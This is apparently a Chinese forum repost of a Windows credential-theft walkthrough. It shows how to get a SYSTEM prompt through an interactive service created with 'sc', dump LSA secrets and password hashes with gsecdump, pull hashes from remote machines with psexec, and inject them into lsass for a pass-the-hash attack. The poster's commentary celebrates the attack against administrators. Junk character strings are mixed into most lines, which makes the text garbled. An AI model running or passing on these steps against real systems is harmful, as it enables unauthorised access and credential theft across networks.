HASH注入式攻击

admin

o get a DOS Prompt as NT system:
# W$ P: e+ m6 s0 o2 G. U$ q: r
& ^& ~6 k' Y1 w7 PC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
) \# K& G5 b4 o/ }: k6 u1 o& r[SC] CreateService SUCCESS
2 G9 P) h( v. `6 A5 L! i
C:\>sc start shellcmdline
[SC] StartService FAILED 1053:
- [; f( P7 s" d5 m+ }
3 n+ q7 c" D' g' U* iThe service did not respond to the start or control request in a timely fashion.

. S# g: O. V0 M2 [C:\>sc delete shellcmdline
[SC] DeleteService SUCCESS
% c. P- b5 A% `2 G$ o& d- T
------------

0 W8 ?4 I5 g7 H6 o% C+ \+ z) f! {Then in the new DOS window:

Microsoft Windows XP [Version 5.1.2600]
  k% l9 t- S) v* L0 a(C) Copyright 1985-2001 Microsoft Corp.
8 ]; g5 o! e% W6 h+ n* w
/ J! a; O  Q" l# Q/ q- J& p4 v0 oC:\WINDOWS\system32>whoami
0 Y2 X: H; }7 F9 K9 F# _  }NT AUTHORITY\SYSTEM
( P% R! u8 [  M; C, y1 G
C:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
3 z4 X" `1 K# R/ y" Pusage: gsecdump [options]

options:
-h [ --help ] show help
1 l2 N$ k4 J8 Y" p5 B-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
# J4 e# s2 v3 x# x0 a) x5 _-s [ --dump_hashes ] dump hashes from SAM/AD

Although I like to use:

PsExec v1.83 - Execute processes remotely
  |/ @) U4 M4 l7 z5 o6 sCopyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]

C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

% x' R. @. R9 E' w- q! Ito get the hashes from active logon sessions of a remote system.
) Y% v$ f. q! o# S% ^
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
8 f& y  w% s  I9 U- M( U* t
$ Q2 _( H: h- t& O/ a7 K2 V提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
+ `" b8 m9 g+ K5 G! O, G原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
; _5 Z, ^% i% F9 L5 o& W
! O5 U( p& ?9 i: @) t2 y我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。